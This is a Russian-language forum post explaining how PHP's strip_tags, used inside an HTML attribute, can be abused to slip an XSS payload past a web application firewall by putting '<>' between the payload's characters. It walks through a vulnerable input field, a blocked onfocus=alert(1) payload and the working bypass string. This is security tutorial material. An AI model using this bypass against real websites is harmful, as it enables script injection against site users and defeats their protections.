Загрузка...

Злоупотребление PHP strip_tags для обхода WAF (для эксплуатирования XSS)

Тема в разделе Веб уязвимости создана пользователем LazersBoy 29 окт 2019. 534 просмотра

  1. LazersBoy
    LazersBoy Автор темы 29 окт 2019 Заблокирован(а) 163 10 окт 2019
    PHP предлагает множество вариантов, которые помогут вам предотвратить атаки XSS. Вот некоторые из них:
    Код
        strip_tags(...)
    htmlentities(...)
    htmlspecialchars(...)
    filter_input(...)
    urlencode(...)
    Может быть трудно определить, какие из этих функций используются в тестируемом приложении. Они также могут быть использованы для предотвращения атак XSS.

    Как обнаружить strip_tags через
    1. Все между < и > удалено.
    2. Особый случай, когда существует только открывающий тег, < но не закрывающий >. В этом случае, все после < будет обрезано.
    Примеры:
    strip_tags("foo<bar>") => "foobar"
    strip_tags("foo<bar.....") => "foo"
    strip_tags("foobar>") => "foobar>"

    Как обойти strip_tags?

    Допустим, вы нашли параметр, который уязвим для XSS.

    Код
        <input class="input" data-id="{XSS}" value="test" />
    Попробуйте простой пейлоад:
    Код
        <input class="input" data-id="" autofocus onfocus=alert(1) value="test" />
    Ииии...

    Код
    Result: Error 500: Blocked by WAF…
    Поиск методов обхода WAF часто бывает утомительным. Допустим, код PHP выглядит примерно так

    Код
        <input class="input" data-id="<?=strip_tags($_GET['id-test']);?>" value="test" />
    Иногда мы можем злоупотреблять strip_tags, если он используется в неправильном контексте, как в этом случае.

    Поскольку мы находимся в контексте атрибута, нам не нужно открывать какие-либо теги (<..>) для нашей полезной нагрузки. Смотрим на нашу полезную нагрузку, " autofocus onfocus=alert(1) которая была заблокирована WAF.

    Что произойдет, если мы применим <> к нашей полезной нагрузке:

    Код
        /?id-test="<> au<>tof<>ocus o<>nfo<>cus=<>al<>ert<>(1<>)
    1. WAF пропустит эту полезную нагрузку, поскольку это просто бред.
    2. PHP видит нашу полезную нагрузку и применяется strip_tags к нашей строке и удаляет все <>.
    3. Наша полезная нагрузка вызовет XSS:
    Код
        <input class="input" data-id="" autofocus onfocus=alert(1) value="test" />
    Резюме

    Если strip_tags используется в неправильном контексте, мы можем злоупотребить этим, добавив <> к нашей полезной нагрузке, что заставит WAF пропустить данный пейлоад. Когда PHP позже обработает нашу полезную нагрузку, он удалит все <> и, таким образом, пропустит наш боевой XSS пейлоад.

    Автор статьи не призывает к противозаконным действиям. Материал предоставлен с целью ознакомления. Не нарушайте закон.
     
Загрузка...
Top